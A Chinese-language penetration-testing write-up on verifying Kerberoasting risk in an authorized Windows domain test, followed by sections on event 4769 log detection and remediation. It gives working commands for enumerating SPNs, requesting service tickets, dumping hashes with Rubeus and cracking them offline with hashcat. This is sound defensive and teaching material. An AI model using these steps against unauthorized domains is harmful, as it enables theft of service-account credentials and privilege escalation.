渗透攻防实战：一次授权内网渗透中的 Kerberoasting 验证、日志留痕与修复建议

背景

最近在一次授权内网渗透测试里，目标环境是典型 Windows 域：一台域控、若干业务服务器、办公网段终端。测试边界明确：不做破坏性操作，不落地木马，不横向影响生产业务，重点验证域内弱口令、服务账号权限边界和日志审计有效性。

本文记录其中一条比较常见但容易被忽视的链路：低权限域账号登录后，通过 Kerberoasting 枚举带 SPN 的服务账号，离线验证弱口令风险，并结合域控日志做留痕确认。内容只讨论授权测试和防护验证，不涉及未授权入侵。

问题定位

初始条件如下：

• 已获得一个普通域用户账号，权限为 Domain Users。
• 测试机已接入内网，可访问域控 88、389、445 等常见端口。
• 目标是验证是否存在可被 Kerberoasting 利用的服务账号弱口令。
• 限制条件：不进行密码喷洒、不爆破在线登录、不修改域对象。

先确认域信息和当前登录上下文，避免误打到非授权域：

whoami /user
whoami /groups
nltest /dsgetdc:corp.local
set USERDNSDOMAIN
set LOGONSERVER

如果当前机器未正确加域或 DNS 指向异常，Kerberos 相关请求可能会失败，常见表现是 KDC_ERR_S_PRINCIPAL_UNKNOWN 或无法定位域控。

技术分析

Kerberoasting 的核心点在于：域内任意认证用户通常可以向 KDC 请求某个 SPN 对应服务账号的 TGS。TGS 中一部分内容使用服务账号的 NTLM Hash 派生密钥加密，因此可以离线尝试破解服务账号密码。

风险通常出现在以下几类账号：

• 服务账号设置了 SPN，例如 MSSQLSvc、HTTP、HOST、自定义业务服务。
• 密码长期不轮换，复杂度较低，可能包含公司名、年份、业务名。
• 服务账号被加入高权限组，例如 Domain Admins、Account Operators、本地 Administrators。
• 未启用 AES，仅支持 RC4，加速离线破解。

从蓝队视角看，攻击动作通常会在域控上产生 4769 事件，即请求 Kerberos 服务票据。异常点包括：短时间大量请求 TGS、请求加密类型为 0x17 RC4、普通终端请求大量不常访问的 SPN。

操作步骤

第一步，枚举带 SPN 的域账号。测试时优先使用系统自带工具，减少额外工具落地。

setspn -Q */* | findstr /i "CN="

也可以针对常见服务类型做收敛枚举：

setspn -Q MSSQLSvc/*
setspn -Q HTTP/*
setspn -Q */db*

第二步，查看目标服务账号属性。这里建议只读查询，不修改任何属性。

net user svc_sql /domain

重点看：

• Password last set：是否多年未更新。
• Account active：是否仍启用。
• Local Group Memberships / Global Group memberships：是否存在高权限组。
• User may not change password / Password never expires：是否长期固定密码。

第三步，请求指定 SPN 的 TGS。Windows 原生命令可触发请求：

klist purge
powershell -NoProfile -Command "Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/db01.corp.local:1433'"
klist tickets

执行后可以通过 klist 看到本机票据缓存中出现对应服务票据。这里不需要访问真实数据库服务，只是向 KDC 请求票据。

第四步，导出票据并离线验证。实际项目中我一般会把这一步放在隔离测试机上做，且只使用客户授权的字典策略，不做无限制暴力破解。若使用 Rubeus，应注意工具来源和哈希校验，避免引入污染样本。

Rubeus.exe kerberoast /user:svc_sql /domain:corp.local /dc:dc01.corp.local /nowrap

输出格式可转换后交给 hashcat 离线验证。示例命令如下：

hashcat -m 13100 kerberoast_hashes.txt corp_policy_words.txt --status --session corp_roast_test

注意：这里的重点是验证风险是否真实存在，不是追求破解数量。授权报告里应记录测试时间、账号范围、字典来源、是否命中，不建议保留明文密码超过交付必要周期。

日志留痕排查

在域控上重点查看 Security 日志事件 ID 4769。可以用 PowerShell 按时间范围筛选：

$start = (Get-Date).AddHours(-2)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769; StartTime=$start} |
Select-Object TimeCreated,
@{n='Account';e={$_.Properties[0].Value}},
@{n='ServiceName';e={$_.Properties[2].Value}},
@{n='ClientAddress';e={$_.Properties[6].Value}},
@{n='TicketEncryptionType';e={$_.Properties[8].Value}} |
Format-Table -AutoSize

常见字段关注点：

字段	含义	排查建议
Account Name	请求 TGS 的用户	普通用户短时间请求大量服务票据要关注
Service Name	被请求的 SPN 服务	重点关注高权限服务账号对应 SPN
Client Address	请求来源 IP	结合终端资产确认是否为正常业务访问
Ticket Encryption Type	票据加密类型	0x17 通常表示 RC4，风险更高

如果环境有 Sysmon 或 EDR，也可以关联终端进程行为。比如测试机上若执行了 PowerShell 请求票据，可能出现 powershell.exe 加载 System.IdentityModel 的行为；如果使用第三方工具，则关注异常进程访问 LSASS、枚举域信息、短时间 LDAP 查询等行为。

权限边界验证

命中弱口令后，不建议直接扩大化操作。更稳妥的方式是先验证账号权限边界：

net user svc_sql /domain
net group "Domain Admins" /domain
net group "Account Operators" /domain
net group "Remote Management Users" /domain

如果需要验证服务账号是否能访问特定服务器，应优先使用无破坏命令，例如查看 SMB 权限或远程登录权限，不执行写入、持久化、关闭服务等动作：

net view \\db01.corp.local
Test-NetConnection db01.corp.local -Port 445
Test-NetConnection db01.corp.local -Port 5985

对数据库类服务账号，还要检查是否存在“域账号同时作为数据库高权限账号”的情况。例如 SQL Server 环境中，服务账号被授予 sysadmin，会导致业务服务被攻陷后进一步扩大影响面。

风险与修复建议

• 清理高权限服务账号：服务账号不应加入 Domain Admins、Enterprise Admins 等组。确需高权限时，应拆分账号和用途。
• 启用强密码和轮换：服务账号密码建议不少于 25 位，随机生成，避免包含公司名、业务名、年份。定期轮换并记录影响范围。
• 优先使用 gMSA：Windows 服务可改用组托管服务账号，由域自动管理复杂密码，减少人工维护弱口令风险。
• 禁用 RC4：逐步推进 AES-only Kerberos，加固前需评估老旧系统兼容性，避免直接改策略导致业务中断。
• 收敛 SPN：删除无用 SPN，避免历史服务账号长期暴露。可定期执行 setspn -Q */* 做基线比对。
• 监控 4769 异常：建立规则：普通用户短时间请求大量不同 SPN、RC4 票据请求激增、非业务终端请求数据库服务 SPN。
• 限制服务账号交互式登录：通过 GPO 配置 Deny log on locally、Deny log on through Remote Desktop Services，减少账号被复用后的横向风险。

一个可落地的 GPO 检查点：

Computer Configuration
  Windows Settings
    Security Settings
      Local Policies
        User Rights Assignment
          Deny log on locally
          Deny log on through Remote Desktop Services
          Deny access to this computer from the network

对服务账号 OU 单独做策略会更安全，不建议直接在全域范围一次性下发，容易影响业务服务。

总结

Kerberoasting 在授权渗透中属于低噪声、验证价值较高的一类检查项。它不依赖管理员权限，但能暴露服务账号口令强度、权限配置和日志监控的真实水平。

实际测试时建议把重点放在三件事：第一，确认 SPN 服务账号是否存在弱口令；第二，核查服务账号是否越权；第三，验证域控 4769 日志和告警是否能覆盖这类行为。这样交付给防守方的结果才不是“能不能打进去”，而是能直接推动账号治理和监控规则落地。

补充一点 Kerberoasting 验证时容易忽略的“证据闭环”：不要只看能不能请求到 TGS，最好把可复现路径、日志点和修复验证都串起来，不然后续整改很难确认是否真正收敛。 可以按下面几个点落地： 1. 先确认哪些账号具备可烤条件 重点看带 SPN 的用户账号，尤其是普通域用户绑定了 MSSQL、HTTP、CIFS、自定义服务等 SPN 的情况：

setspn -Q */*

或用 PowerShell 查用户型 SPN：

Get-ADUser -LDAPFilter '(servicePrincipalName=*)' -Properties servicePrincipalName,adminCount,pwdLastSet,lastLogonTimestamp |
Select-Object SamAccountName,Enabled,adminCount,pwdLastSet,lastLogonTimestamp,servicePrincipalName

这里建议额外关注： - `adminCount=1` 的服务账号 - 长期未改密的服务账号 - 设置了弱口令策略或不受控的业务服务账号 - 使用 RC4 的票据请求 2. 日志留痕建议重点看 4769 Kerberoasting 核心会触发域控上的 Kerberos Service Ticket 请求事件，一般重点看事件 ID `4769`。 可在域控上筛选：

Get-WinEvent -FilterHashtable @{
  LogName='Security'
  Id=4769
  StartTime=(Get-Date).AddHours(-24)
} | Select-Object TimeCreated,
@{n='Account';e={$_.Properties[0].Value}},
@{n='ServiceName';e={$_.Properties[2].Value}},
@{n='ClientAddress';e={$_.Properties[6].Value}},
@{n='TicketEncryptionType';e={$_.Properties[5].Value}} |
Format-Table -AutoSize

比较有价值的排查点： - 单个普通用户短时间请求大量不同 SPN 的 TGS - 来源 IP 非常规办公终端或跳板机 - `Ticket Encryption Type` 出现 `0x17`，通常代表 RC4-HMAC - 目标服务账号是高权限账号或历史遗留账号 如果环境有日志平台，可以做一个简单规则：同一账号在 5~10 分钟内请求超过一定数量的不同 `ServiceName`，并且加密类型为 RC4，优先级可以拉高。 3. 复现验证时建议避免“扫全域” 授权测试里如果直接全域请求所有 SPN，确实会留下大量 4769，影响蓝队分析。更稳妥的做法是先枚举再抽样验证，例如只对明确授权范围内的目标 OU 或业务系统服务账号做验证。 如果用 Rubeus，建议加 `/ldapfilter` 或者先导出目标列表后逐个验证，不建议一上来 `/rc4opsec` 或全量 roast。 4. 修复建议要分层处理 不是简单“改密码”就完事，建议按优先级： - 高权限服务账号：立刻降权，避免 Domain Admin/Enterprise Admin 跑服务 - 服务账号密码：改为 25 位以上随机复杂密码，最好纳入密码托管 - 支持 gMSA 的服务：优先迁移到 gMSA - 禁用 RC4：先评估兼容性，再逐步关闭 - 清理无效 SPN：历史遗留服务账号要及时删除或禁用 查看域内是否还允许 RC4，可以关注账号属性 `msDS-SupportedEncryptionTypes`。例如检查带 SPN 账号：

Get-ADUser -LDAPFilter '(servicePrincipalName=*)' -Properties msDS-SupportedEncryptionTypes,servicePrincipalName |
Select SamAccountName,msDS-SupportedEncryptionTypes,servicePrincipalName

对单个服务账号限制为 AES，需要先确认业务支持：

Set-ADUser svc_xxx -Add @{'msDS-SupportedEncryptionTypes'=24}

`24` 通常表示 AES128 + AES256。这个动作建议先在测试 OU 或低风险服务上灰度，不然老系统可能直接认证失败。 5. 修复后要做回归验证 整改后可以再次请求同一 SPN 的 TGS，确认： - 是否仍可请求到 RC4 类型票据 - 服务账号权限是否已降到业务最小需要 - 4769 是否还能看到异常加密类型 - 弱口令是否无法再离线破解 尤其是“改密但仍保留高权限”和“禁 RC4 但业务账号仍弱口令”都不算完整修复。Kerberoasting 的风险核心还是服务账号权限和密码强度，日志只是帮助发现问题，最终要落到账号治理上。